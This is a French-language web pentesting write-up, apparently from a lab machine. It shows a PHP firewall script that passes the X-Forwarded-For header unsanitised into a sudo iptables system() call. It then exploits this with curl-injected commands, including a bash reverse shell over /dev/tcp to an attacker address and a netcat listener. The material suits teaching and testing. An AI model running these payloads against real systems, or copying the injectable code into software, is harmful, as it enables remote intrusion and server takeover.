# HTTP Header Command Injection - X-FORWARDED-FOR - Pentesting Web

Si on observe le fichier `firewall.php`, on remarque qu'il récupère l'en-tête `HTTP_X_FORWARDED_FOR` et l'utilise avec `sudo` pour exécuter une commande :

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FZr0Mqfop6RGSVJNUKPd4%2Fimage.png?alt=media&#x26;token=68b3caeb-5c39-4205-aba2-6f11214a8afe" alt=""><figcaption></figcaption></figure>

Étant donné que cette variable est contrôlable via une requête HTTP, nous pouvons injecter une commande arbitraire.

**erxploitation**

Comme il s'agit d'un en-tête HTTP, nous pouvons injecter une commande, par exemple en utilisant `curl` pour contacter notre serveur web.

**Mise en place d'un serveur web :**

```bash
python3 -m http.server 80
```

**Commande d'injection avec `curl` :**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fcnep0uMP31ML2It23WiM%2Fimage.png?alt=media&#x26;token=2258c242-72e8-444e-a35a-ae58f5a745f1" alt=""><figcaption></figcaption></figure>

**Reverse Shell**

**Écoute sur le port 443 :**

```bash
nc -nlvp 443
```

**Commande pour obtenir un shell distant :**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

Une fois connecté, nous sommes l'utilisateur `www-data`.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fj7S8y65hiLwnUSsNhiSF%2Fimage.png?alt=media&#x26;token=aee75544-a65b-40ef-acd0-07c25d0d0f38" alt=""><figcaption></figcaption></figure>
